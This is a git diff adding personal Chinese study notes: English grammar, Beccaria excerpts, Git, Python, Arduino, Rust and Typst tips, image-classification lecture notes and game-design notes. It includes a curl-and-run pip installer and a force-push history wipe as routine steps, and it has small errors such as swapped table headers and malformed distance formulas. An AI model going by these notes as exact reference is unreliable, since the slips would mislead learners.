"b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\210\266\344\275\234\346\265\201\347\250\213.md" @@ -0,0 +1,12 @@ +# 制作流程 + +## 具体步骤 + +- The first step is to prepare some materials, including a, b, c and d. +- To prepare some materials is the first step. +- It is necessary to prepare some materials. +- It is necessary that some materials are prepared. +- Preparing some material is the first stop. +- The process starts from / comes to / arrives at preparing some materials. +- The first step involves preparing some materials. +- What follows the first step is that + 完整句子. diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\237\272\346\234\254\347\237\245\350\257\206.md" "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\237\272\346\234\254\347\237\245\350\257\206.md" new file mode 100644 index 000000000..96c7a5cd6 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\345\237\272\346\234\254\347\237\245\350\257\206.md" @@ -0,0 +1,22 @@ +# 基本知识 + +## 可数名词 + +### 复数变化规律 + +一般情况下, 加 -s. +以 -s, -x, -ch, -sh 结尾, 加 -es. +以 辅音字母+y 结尾, y 变 i 加 -es. +以 辅音字母+o 结尾, 多数情况加 -es. +以 元音字母+o 结尾, 一般加 -s. +以 -f 或 -fe 结尾, 大多数情况 f 或 fe 变 v 加 -es. + +还有部分词汇是不规则变化或单复数同形. + +## 不可数名词 + +不可数名词前不能加定冠词 a/an, 也无复数形式. + +## 名词所有格 + + diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\346\227\245\346\234\237\350\257\215\346\261\207.md" "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\346\227\245\346\234\237\350\257\215\346\261\207.md" new file mode 100644 index 000000000..812269cde --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/\350\213\261\350\257\255/\346\227\245\346\234\237\350\257\215\346\261\207.md" @@ -0,0 +1,30 @@ +# 日期词汇 + +## 星期 + +| English | Chinese | +| ------- | --------------- | +| 星期一 | Monday, Mon. | +| 星期二 | Tuesday, Tues. | +| 星期三 | Wednesday, Wed. | +| 星期四 | Thursday, Thur. | +| 星期五 | Friday, Fri. | +| 星期六 | Saturday, Sat. | +| 星期天 | Sunday, Sun. | + +## 月份 + +| English | Chinese | +| ------- | ---------------- | +| 一月 | January, Jan. | +| 二月 | February, Feb. | +| 三月 | March, Mar. | +| 四月 | April, Apr. | +| 五月 | May, May. | +| 六月 | June, Jun. | +| 七月 | July, Jul. | +| 八月 | August, Aug. | +| 九月 | September, Sept. | +| 十月 | October, Oct. | +| 十一月 | November, Nov. | +| 十二月 | December, Dec. | diff --git "a/docs/\345\205\266\344\273\226/Archived/\350\256\272\347\212\257\347\275\252\344\270\216\345\210\221\347\275\232.md" "b/docs/\345\205\266\344\273\226/Archived/\350\256\272\347\212\257\347\275\252\344\270\216\345\210\221\347\275\232.md" new file mode 100644 index 000000000..5016fb580 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Archived/\350\256\272\347\212\257\347\275\252\344\270\216\345\210\221\347\275\232.md" @@ -0,0 +1,21 @@ +# 论犯罪与刑罚 + +## 刑罚的起源 + +> 人们牺牲一部分自由是为了平安无扰地享受剩下的那份自由. + +需要一种易感触 (可以通过感官感知到的) 的力量 (motivi sensibili) 来防止个人专横的心灵破坏法律, 这种力量就是刑罚. + +## 惩罚权 + +交给公共保存的最少量自由的结晶形成惩罚权. + +## 结论 + +> 第一个结论是:只有法律才能为犯罪规定刑罚. + +任何司法官员不得以任何理由增加对功能的既定刑罚. + +> 第二个结论是:如果说社会的各个成员都受到社会约束的话, 同样, 该社会通过一项实质上是互尽义务的契约, 也同各个成员联系在一起. + +> 第三个结论是:即使严酷的刑罚的确不是在直接与公共福利及预防犯罪的宗旨相对抗, 而只是徒劳无功而已, 在这种情况下, 它也不但违背了开明理性所萌发的善良美德——这种理性往往支配着幸福的人们, 而不是一群陷于怯懦的残忍循环之中的奴隶——同时, 严酷的刑罚也违背了公正和社会契约的本质. diff --git "a/docs/\345\205\266\344\273\226/Arduino_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\345\205\266\344\273\226/Arduino_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..4cb69acc5 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Arduino_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,10 @@ +# Arduino 故障排除 + +## Pro Micro 烧录程序后无法检测到端口 + +将 `RST` 与 `GND` 快速接通两次,此时会进入 bootloader 模式 8 秒. 在此期间端口会重新出现, 可以烧录程序. +若时间不够上传, 可以尝试先点击 IDE 的上传, 后接通 `RST` 和 `GND`. + +## Pro Micro 只能读取串口数据, 无法烧录程序 + +可能是调用了 `abort()` 函数导致的, 具体原因未知. diff --git "a/docs/\345\205\266\344\273\226/Git.md" "b/docs/\345\205\266\344\273\226/Git.md" new file mode 100644 index 000000000..0f16c3879 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Git.md" @@ -0,0 +1,149 @@ +# Git + +![Git 常用命令速查表 - riku.wowubuntu.com](assets/git_cheat_sheet.jpg) + +!!! info + 以下内容基于 2.X 版本. + +[Git](https://git-scm.com/) 是一款版本控制系统 (Version control system, VCS). 名字的由来是项目创始人 Linus 的自嘲[^1], 该词在英语俚语代表 "令人讨厌的人". + +## 配置 Git + +```sh +# 设置用戶 +git config --global user.name '' +git config --global user.email '' + +# 设置默认主分支名称 +git config --global init.defaultBranch main + +# 设置 pull 模式 +git config --global pull.rebase true + +# 设置编辑器 +git config --global core.editor 'nvim' + +# 设置网络代理 +git config --global http.proxy 'http://127.0.0.1:1234' +git config --global https.proxy 'http://127.0.0.1:1234' + +git config --global column.ui auto +git config --global branch.sort -committerdate + +# 设置命令别名 +git config --global alias.co checkout +git config --global alias.br branch +git config --global alias.ci commit +git config --global alias.st status +``` + +## 配置 GPG 签名 + +```sh +gpg --list-secret-keys --keyid-format=long +git config --global user.signingkey +git config --global user.signingkey ! +git config --global commit.gpgsign true +``` + +详情请参考 [GitHub Docs](https://docs.github.com/en/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key). + +## 代码托管平台 + +以下平台提供了 Git 远程仓库托管服务: + +- [GitHub](https://github.com/): 社区最大. +- [GitLab](https://about.gitlab.com/): 开源, 可自建. +- [Gitea](https://gitea.com/): 开源, 可自建. +- [Bitbucket](https://bitbucket.org/). + +使用平台进行对仓库托管还可以利用平台提供的相关功能, 但不应该产生依赖. 应确保项目随时可以脱离该平台并正常运作. + +## GitHub CLI + +GitHub CLI 是 GitHub 官方提供的跨平台的命令行工具. [安装教程](https://github.com/cli/cli#installation). +在 GitHub 因为安全问题禁用 Git 通过账户和密码登录后, 经过 GitHub CLI 配置后的 Git 可以按原样使用. + +```sh +sudo pacman -S github-cli # Arch Linux +scoop install gh # Windows + +gh auth login # 登录 GitHub 账号 +gh auth setup-git # 配置 Git + +gh extension install github/gh-copilot # 安装 Copilot 拓展 + +gh copilot explain "sudo apt-get" # 解释命令 +gh copilot suggest "Undo the last commit" # 生成命令 +``` + +## 暂存 + +| Command | New Files | Modified Files | Deleted Files | Description | +|------------------------------|-----------|----------------|---------------|----------------------------------------| +| `git add -A` | √ | √ | √ | Stage all files. | +| `git add .` | √ | √ | √ | Stage all files in current folder. | +| `git add --ignore-removal .` | √ | √ | × | Stage new and modified files only. | +| `git add -u` | × | √ | √ | Stage modified and deleted files only. | + +## 提交信息 + +提交信息的编写方式可以参考 [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/), 里面列举了一些[例子](https://www.conventionalcommits.org/en/v1.0.0/#examples)和[优点](https://www.conventionalcommits.org/en/v1.0.0/#why-use-conventional-commits). +可以借助工具 [commitlint](https://github.com/conventional-changelog/commitlint) 来进行检查. + +| 类型 | 描述 | +|----------|--------------------------------------------------------------------------------| +| refactor | 代码重构,既不修复错误也不添加功能. | +| feat | 类型为 feat 的提交表示在代码库中新增了一个功能(这和语义化版本中的 MINOR 相对应). | +| fix | 类型为 fix 的 提交表示在代码库中修复了一个 bug(这和语义化版本中的 PATCH 相对应). | +| style | 不影响代码含义的变化(空白/格式化/缺少分号等). | +| perf | 改进性能的代码更改. | +| test | 添加确实测试或更正现有的测试. | +| build | 影响构建系统或外部依赖关系的更改. | +| docs | 只是更改文档. | +| ci | 更改持续集成文件和脚本. | +| chore | 其他不修改 src 或 test 文件. | +| revert | commit 回退. | + +## 忽略文件 + +不想使用 Git 进行跟踪和管理的文件可以在 `.gitignore` 文件中指定, 语法十分简洁易懂. +对于常见开发环境通常忽略的文件, 可以利用 gitignore.io ([Web](https://www.toptal.com/developers/gitignore)/[CLI](https://docs.gitignore.io/install/command-line)) 生成. + +## 清空仓库 + +以下代码用于清空仓库指定分支的全部历史记录, 执行操作后提交历史将会**永久丢失**. + +```sh +git checkout --orphan empty || exit 1 +git branch -D main || exit 1 +git add -A || exit 1 +git commit -m 'feat: first commit' || exit 1 +git push origin empty:main --force || exit 1 +git checkout main || exit 1 +git branch -D empty +git pull origin main --allow-unrelated-histories +``` + +## 常见错误 + +```sh +gpg: skipped "XXXXXXXXXXXXXXXX": No secret key +``` + +检查是否使用的正确的 `gpg.exe`. 通过下面命令指定使用的 `gpg.exe`: + +```sh +git config --global gpg.program "path/to/gpg.exe" +``` + +## 参见 + +- [Git 文档](https://git-scm.com/doc) +- [Git Book](https://git-scm.com/book) +- [Git FAQ](https://git.wiki.kernel.org/index.php/GitFaq) +- [入门视频1 - 奇乐编程学院](https://www.bilibili.com/video/BV1KD4y1S7FL) +- [入门视频2 - 奇乐编程学院](https://www.bilibili.com/video/BV1hA411v7qX) +- + +[^1]: diff --git "a/docs/\345\205\266\344\273\226/Google_Voice_\344\277\235\345\217\267.md" "b/docs/\345\205\266\344\273\226/Google_Voice_\344\277\235\345\217\267.md" new file mode 100644 index 000000000..fc6e15763 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Google_Voice_\344\277\235\345\217\267.md" @@ -0,0 +1,30 @@ +# Google Voice 保号 + +!!! info + Google Voice 的缩写不是 GV, GV 是 Google Ventures 的缩写. + +## 引言 + +Google Voice 号码在特定地区可以免费获取, 但其他地区需要通过其他手段获取. 根据 [Google Voice 使用限制政策](https://www.google.com/googlevoice/program-policies.html), 6 个月不活跃的号码将会被回收, 因此在不使用的时候需要防止号码因为不活跃而被回收. + +!!! warning + 为保证安全, 不应使用 Google Voice 号码注册账户. 避免账户回收后重新分发被他人滥用. + +本文将介绍几种使账号保持活跃的方法. 值得注意的是以下单个方法可能无法使账号保持活跃, 建议组合使用. + +## 订阅广告短信 + +只需要订阅一次短信广告, 之后便会自动接受到短信. + +- Starbucks: 咖啡公司. 发送 `JOIN` 至 `22122`, 每月2条短信. 回复 `STOP` 结束订阅. +- Bloomingdale’s: 百货商店. 发送 `code` 至 `25666`, 然后回复 `PROMO`. 回复 `STOP` 结束订阅. +- Autozone: 汽车零件品牌. 发送 `auto` 至 `67135`, 然后回复 `Y`. 每周4条短信. + +## 拨打免费电话 + +需要用户主动拨打电话. + +- 微软客服: (800)642-7676. +- 亚马逊客服: (206)266-2992. +- Apple 客服: (800)275-2273. +- 美国之声: (213)493-0288. diff --git "a/docs/\345\205\266\344\273\226/IRC.md" "b/docs/\345\205\266\344\273\226/IRC.md" new file mode 100644 index 000000000..4536cd643 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/IRC.md" @@ -0,0 +1,45 @@ +# IRC + +## 客户端 + +- Thunderbird. +- Weechat + + Weechat 是终端下的 IRC 客户端, 配置/使用起来十分方便. + 初次使用 Weechat 可以参考 [Weechat Quick Start Guide](https://weechat.org/files/doc/stable/weechat_quickstart.en.html#join_part_irc_channels) 来进行配置. + + !!! warning + 涉及保密内容的字串需要使用 `/secure` 命令来加密存储, 否则会以明文的形式直接显示在配置文件中. + + 连接服务器后自动加入频道: + + ``` + /set irc.server.libera.autojoin "#archlinux-cn-offtopic,#C++,##English,#c_lang_cn,#archlinux-cn" + ``` + +## 常用操作 + +- 提及/回复某人: 语法 `nickname msg`/`nickname: msg`, 通常客户端支持 Tab 键补全. + +## 安全 + +- 使用 SSL 连接服务器. + + 在添加服务器的时候使用 `-ssl` 选项. 或: + + ``` + /set irc.server..ssl on + ``` + +- 提高账户安全性. + + ``` + /msg nickserv set enforce on + ``` + +- 通过代理连接服务器. + + ``` + /proxy add http + /set irc.server..proxy "" + ``` diff --git "a/docs/\345\205\266\344\273\226/Python_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\345\205\266\344\273\226/Python_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..59075f6aa --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Python_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,10 @@ +# Python 故障排除 + +## 安装 pip + +ModuleNotFoundError: No module named 'pip' + +```sh +curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py +python get-pip.py +``` diff --git "a/docs/\345\205\266\344\273\226/Rust_\345\265\214\345\205\245\345\274\217\345\274\200\345\217\221.md" "b/docs/\345\205\266\344\273\226/Rust_\345\265\214\345\205\245\345\274\217\345\274\200\345\217\221.md" new file mode 100644 index 000000000..aed4e0ae8 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Rust_\345\265\214\345\205\245\345\274\217\345\274\200\345\217\221.md" @@ -0,0 +1,24 @@ +# Rust 嵌入式开发 + +## STM32 + +添加 Cortex-M4(F) 目标: + +```console +rustup target add thumbv7em-none-eabi # 无浮点处理单元 +rustup target add thumbv7em-none-eabihf # 有浮点处理单元 (FPU) +``` + +## Arduino + +```console +cargo install cargo-generate +cargo install ravedude + +cargo generate --git https://github.com/Rahix/avr-hal-template.git +``` + +!!! warning + Arduino 开发板的闪存[^1]通常较小, 因此使用 Rust 开发需要特别注意空间使用情况, 避免程序过大. + +[^1]: diff --git "a/docs/\345\205\266\344\273\226/Typst.md" "b/docs/\345\205\266\344\273\226/Typst.md" new file mode 100644 index 000000000..2c3fa0c2b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/Typst.md" @@ -0,0 +1,68 @@ +# Typst + +[Typst] 是一种基于标记的排版系统. + +与 LaTeX 相比: + +- **生态不成熟**: Typst 提供了包索引 [Typst universe], 但目前包的数量以及完成度都无法与 LaTeX 相比. +- 语法更加简洁易用. +- **无感包管理**: Typst 会在编译时自动下载所需的包. +- **安装简单**: 安装 Typst 与安装其他 CLI 工具类似. +- **体积小巧**: Typst 只是一个编译器, 体积约 35 MB. 而 LaTeX (MiKTeX, TeX Live) 则需要数 GB. +- **在线使用**: Typst 官方提供了一个商业化的在线编辑器, 类似 LaTeX 的 Overleaf. + +## 字体 + +可以通过下面命令查看 Typst 能检测到的本地已安装字体: + +```sh +typst fonts --variants +``` + +### 中文粗体 + +Typst 对 CJK 字符的支持还[比较有限](https://github.com/typst/typst/issues/276). +比如官方在线编辑器中默认的中文字体不支持粗体和斜体, Typst 也不支持伪粗体和伪斜体. + +如果需要使用中文粗体, 有下面解决方式: + +- 使用支持粗体的中文字体, 如[思源宋体] (开源). +- 使用 [cuti] 包提供的伪粗体, 可以为不支持粗体的中文字体添加粗体样式. + +[思源宋体]: https://source.typekit.com/source-han-serif/ +[cuti]: https://typst.app/universe/package/cuti + +## LaTeX 转 Typst + +| LaTeX | Typst | +| ------------- | --------- | +| `\rightarrow` | `->` | +| `\land` | `and` | +| `\cup` | `union` | +| `\varepsilon` | `epsilon` | +| `\mid` | `|` | + +- . +- . +- . + +## Hayagriva + +[Hayagriva] 是 Typst 配套的引用管理软件, 类似 LaTeX 的 BibTeX. +语法使用的是 YAML 格式, 更加现代, 简洁. + +安装 CLI: + +```sh +cargo install hayagriva --features cli +``` + +将 Bib(La)TeX 转换为 Hayagriva: + +```sh +hayagriva refs.bib > refs.yml +``` + +[typst]: https://github.com/typst/typst +[typst universe]: https://typst.app/universe/ +[hayagriva]: https://github.com/typst/hayagriva diff --git "a/docs/\345\205\266\344\273\226/assets/git_cheat_sheet.jpg" "b/docs/\345\205\266\344\273\226/assets/git_cheat_sheet.jpg" new file mode 100644 index 000000000..9cf2927e5 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/assets/git_cheat_sheet.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\220\215\350\250\200\350\255\246\345\217\245.md" "b/docs/\345\205\266\344\273\226/\345\220\215\350\250\200\350\255\246\345\217\245.md" new file mode 100644 index 000000000..bab124aea --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\220\215\350\250\200\350\255\246\345\217\245.md" @@ -0,0 +1,7 @@ +# 名言警句 + +- 有志者事竟成. - *后汉书 · 耿列传* +- 学无止境. - 荀子 +- 兼听则明, 偏信则暗. - *潜夫论 · 明暗* +- The quieter you become, the more you are able to hear. - Rumi +- Computer science should be called computing science, for the same reason why surgery is not called knife science. - E. Dijkstra diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/challenges.jpg" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/challenges.jpg" new file mode 100644 index 000000000..e83a3b268 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/challenges.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/imagemap.jpg" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/imagemap.jpg" new file mode 100644 index 000000000..db0d2d481 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/imagemap.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/knn.jpg" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/knn.jpg" new file mode 100644 index 000000000..a62b75ec8 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/knn.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/pixelspace.jpg" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/pixelspace.jpg" new file mode 100644 index 000000000..9903dc37a Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/pixelspace.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/templates.jpg" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/templates.jpg" new file mode 100644 index 000000000..83d51e1c9 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/assets/templates.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\346\246\202\350\277\260.md" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\346\246\202\350\277\260.md" new file mode 100644 index 000000000..837180603 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\346\246\202\350\277\260.md" @@ -0,0 +1,69 @@ +# 概述 + +图像分类 (Image classification) 是计算机视觉的一个核心任务. + +## 挑战 + +该任务主对于人类来说十分简单, 这些工作会在大脑中自动完成. 但是对于计算机却十分困难, 主要有以下挑战: + +![挑战](assets/challenges.jpg){ width=90% style="display: block; margin: 0 auto" } + +- 视口变换 (Viewport variation): 物体可能从多个观察角度被观察. +- 缩放变换 (Scale variation): 物体大小可能发生缩放. (指的是现实中的大小, 而不是图像中的) +- 变形 (Deformation): 物体可能存在多种姿态. +- 遮挡 (Occlusion): 物体的部分可能被其他物体遮挡. +- 光照条件 (Illumination conditions): 物体可能处在在不同光照条件下. +- 背景杂乱 (Background clutter): 物品可能处在一个十分杂乱的背景下. +- 不同变种 (Intra-class variation): 物体可能存在多种变种. + +一个物体的图像可能存在以上几种情况, 其中每一项都会导致图像数据全部发生变化, 但都是同一个物体的图像. 因此算法要有足够的鲁棒性才能正确识别这些图像. + +## 数据驱动方法 (Data-driven Approach) + +对于图像分类这种复杂的工作, 通过编写专门的算法来识别特定的类别是困难且效果有限的. 通过给与许多例子并使用学习算法来自动学习不同分类物品所具有的视觉特点, 这类方法被称为数据驱动方法. + +## 最近邻 (Nearest Neighbor Classifier, NN classifier) + +如果将该算法的实现分成训练和预测两个阶段, 那么训练阶段只是将训练集记录下来, 在后续的预测阶段使用. 不预测则不需要进行计算, 属于惰性学习(lazy learning). + +- L1 曼哈顿距离(Manhattan distance). + + $$ d_1(I_1, I_2) \sum_p | I^p_1 - I^p_2 | $$ + +- L2 欧几里得距离(Euclidean distance). + + $$ d_2(I_1, I_2) \sqrt{ \sum_p ( I^p_1 - I^p_2 ) } $$ + +### 缺点 + +- 要保留全部的训练数据, 会占用大量空间. +- 每分类一张图像就需要遍历整个数据集, 效率十分低下. +- 判断方式过于简单, 精度很低. + +## k最近邻 (k-Nearest Neighbors Classifier, kNN classifier) + +kNN 在 NN 的基础上进行了一些改进, 单个像素点的分类不再仅取决于与最近的一个点的距离, 而是取决于最近的 k 个点的距离. + +![NN and kNN](assets/knn.jpg){ width=90% style="display: block; margin: 0 auto" } + +上图展示了当 k = 1 和 k = 5 时的分类结果. NN 就是当 k = 1 时的一个特例. +可以直观的看出, k 值较大的结果中边界较为平滑, 而且减少了噪点对最终结果的影响. + +## 超参数 (Hyperparameters) + +kNN 中的 K 值就是一个超参数, 这个参数是需要人工指定而不是通过训练自动推断得出的. + +## 数据集 (Dataset) + +数据集包含了许多带标签的图像, 这些标签表明了图像的类别. +数据集大致需要被分成三个部分: + +- 训练 (train), 这部分用于训练模型. +- 验证 (validation), 这部分用于测试效果, 然后根据效果调节超参数. +- 测试 (test), 用于测试算法的效果, 模拟实际的任务. + +可以简单的将这三部分分别看作平时学习/模拟考试/考试, 因此三组数据之间不应该有交集. + +## 参考 + +- diff --git "a/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\347\272\277\346\200\247\345\210\206\347\261\273.md" "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\347\272\277\346\200\247\345\210\206\347\261\273.md" new file mode 100644 index 000000000..8264b696b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\233\276\345\203\217\345\210\206\347\261\273/\347\272\277\346\200\247\345\210\206\347\261\273.md" @@ -0,0 +1,46 @@ +# 线性分类 + +**英文**: Linear Classification. + +## Parametric Approach + +线性分类器: + +$$ +f(x_i, W, b) = Wx_i + b +$$ + +![](assets/imagemap.jpg) + +输入: + +- $x_i$: 图像数据. +- $W$ (weights): 权重. +- $b$: 偏差. + +输出: + +- n 个值, 分别表示每种图像类型的可能性. + +## 解释 + +### 直线 + +将图像看成高纬的点. +可以看出线性分类器函数类似一个直线的斜截式方程($y = kx + b$). + +![](assets/pixelspace.jpg) + +从上图可以很直观的看出该方法所存在的问题, 同类型的图像不一定都能被直线所分割, 所分割的也不一定都是同类型的图像. + +### 模板 + +将 y 设为 1, 算出 x 的值并将结果可视化. + +![](assets/templates.jpg) + +将分类过程看作是检查图像和模板的相似度, 与 kNN 不同的是使用内积而不是 L1, L2 距离. + +## 损失函数 (Loss function) + +用于识别分类器的好坏. \ No newline at end of file diff --git "a/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\345\220\214\347\261\273\346\270\270\346\210\217.md" "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\345\220\214\347\261\273\346\270\270\346\210\217.md" new file mode 100644 index 000000000..a212592a0 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\345\220\214\347\261\273\346\270\270\346\210\217.md" @@ -0,0 +1,82 @@ +# 同类游戏 + +- 挺进地牢 (Enter the Gungeon): [Fandom Wiki](https://soul-knight.fandom.com/wiki/Soul_Knight_Wiki), [Steam](https://store.steampowered.com/app/311690/Enter_the_Gungeon/). +- 元气骑士 (Soul Knight): [Fandom Wiki](https://enterthegungeon.fandom.com/wiki/Enter_the_Gungeon_Wiki). + +Fandom Wiki 是良好的参考资料, 包含了许多游戏内的信息和数据. + +!!! warning + 我对挺进地牢不太熟悉, 相关内容可能包含错误. + +## 房间 + +房间按种类可以分为一下几种: + +1. **初始房间**: 玩家到达该层级所在的初始房间. +2. **普通房间**: 房间内包含敌人和可破坏的障碍物. +3. **BOSS 房间**: 包含一个 BOSS, 在 BOSS 被击败后出现传送门, 玩家可以通过传送门到达下一个层级. + +- **挺进地牢和元气骑士**: 还有其他类型的房间, 如宝箱房间, 商人房间等. +- **元气骑士**: 包括特殊可破坏的障碍物: + - **毒箱子**: 被破坏后, 会在一定范围内产生滞留的毒药效果, 进入其中的实体会收到持续的中毒伤害. + - **爆炸箱子**: 被破坏后, 会对一定范围内的实体产生爆炸伤害. + - **冰冻箱子**: 被破坏后, 会在一定范围内产生滞留的减速效果. + +元气骑士的房间大小为 17x17, 包含外围围墙, 门的大小为 1x5 或 5x1. +与元气骑士相比, 现有的素材缺少: + +- **可破坏障碍物**: 即箱子. +- **可升降的门**: 现有的素材也有门, 但大小为 1x2, 且高度为 2. + +可参考元气骑士的房间设计, 但由于缺少可破坏障碍物, 部分房间无法参考 (部分房间内部仅又可破坏物组成). + +## 地图生成 + +- **元气骑士**: 所有房间大小一致. +- **挺进地牢**: 存在不同大小和形状的房间. + +元气骑士在网格状的地图中生成房间后, 只需要简单的通过连廊连接相邻的房间并连接处添加门即可. +所以元气骑士的房间设计和地图生成会简单许多, 我认为这也是构建原型的首选实现方法. + +## 攻击 + +- **元气骑士**: 在按下射击按键后, 角色会自动使用武器攻击最近的目标, 如果没有目标也会进行攻击. +- **挺进地牢**: 需要玩家移动鼠标进行瞄准, 并按下左键进行射击. + +## 武器 + +### 攻击 + +- **元气骑士**: 武器攻击需要消耗能量, 可以不间断的进行攻击. +- **挺进地牢**: 武器攻击需要消耗弹药, 在弹匣耗尽后需要重新换弹. (不同武器之间似乎无法共享弹药) + +### 持有 + +交战时可以切换武器, 可以同时持有多个武器, 但只能同时使用单个武器. + +- **元气骑士**: 可以同时持有两个武器. +- **挺进地牢**: 似乎可以同时持有多个武器. + +## 元气骑士 + +### 元素 + +元气骑士里存在元素伤害, 比如毒/火等. 使用元素对伤害进行区分有利于设计 Buff, 如免疫所有毒元素伤害的 Buff. + +### 层级 + +元气骑士一共有 5 个层级, 层级有自己的主题, 随机分配. 完成 5 个层级后即可通关. + +--- + +## 现有素材的缺陷 + +现有素材使用 CC0 协议: . + +### 地图元素 + +缺少元气骑士中的可升降门. **会给程序的实现带来困难**. + +### 武器 + +缺少远程武器. 可以先实现近战, 远程武器可以以后再添加. diff --git "a/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\346\270\270\346\210\217\345\274\225\346\223\216.md" "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\346\270\270\346\210\217\345\274\225\346\223\216.md" new file mode 100644 index 000000000..5cb08f700 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\346\270\270\346\210\217\345\274\225\346\223\216.md" @@ -0,0 +1,21 @@ +# 游戏引擎 + +## Bevy + +可以实现 100% Rust 实现. + +- **生态小**. +- **生态不稳定**: 由于 Bevy 还在激进的开发中, 每次更新都会带来大量的 Breaking changes. 不仅使得升级游戏本身需要不小工作量, 且还需要等待 Bevy 相关的第三方完成更新. 许多第三方难以坚持维护, 导致无法在最新的 Bevy 上使用. 所以采用 Bevy 相关的第三方需要十分谨慎, 或者自行实现相关功能. +- **UI 实现困难**: Bevy 提供的 UI 相关的 API 难以使用, 且需要大量的代码来实现简单的 UI. +- **基础功能缺失**: 比如 Bevy 不具有播放 Sprite 动画的功能, 需要开发者自己实现. 现在的 Bevy 相较于游戏引擎, 称之为游戏框架更为合适. +- **渲染性能不如 Godot**: 虽然 Bevy 使用 Rust 进行编写, 并采用 ECS 框架, 但相较于成熟的 Godot 来说, 并不一定能带来更好的性能表现. +- **缺乏移动端支持**: Bevy 声称对移动端 (Android 和 iOS) 的基础的支持, 但我尝试将其在移动端上运行的努力均已失败告终. + +## Godot + +可以通过 [gdext] 来创建拓展, 供 Godot 调用. 无法或难以实现 100% Rust, 可能需要借助 GDScript 作为胶水语言. + +- **技术栈复杂**: 需要开发者同时掌握 Godot 开发和 Rust 编程语言相关知识. +- **缺乏移动端支持**: Godot 本身支持手机端, 但 Rust 绑定暂不支持. + +[gdext]: https://github.com/godot-rust/gdext diff --git "a/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\216\251\346\263\225\350\256\276\350\256\241.md" "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\216\251\346\263\225\350\256\276\350\256\241.md" new file mode 100644 index 000000000..7fe6de99e --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\216\251\346\263\225\350\256\276\350\256\241.md" @@ -0,0 +1,15 @@ +# 玩法设计 + +## 攻击 + +攻击方面有两种可能的设计: + +- [ ] 当敌人进入攻击距离后自动瞄准. +- [ ] 移动鼠标进行瞄准, 左键进行攻击. + +## 翻滚 + +是否允许角色翻滚: + +- [ ] 是: 翻滚时可以躲避弹幕. 可以为房间添加悬崖, 河流等只能通过翻滚越过的地形. +- [ ] 否: 降低操作难度. diff --git "a/docs/\345\205\266\344\273\226/\345\234\260\347\211\242/\347\224\237\346\210\220\345\261\202\347\272\247.md" 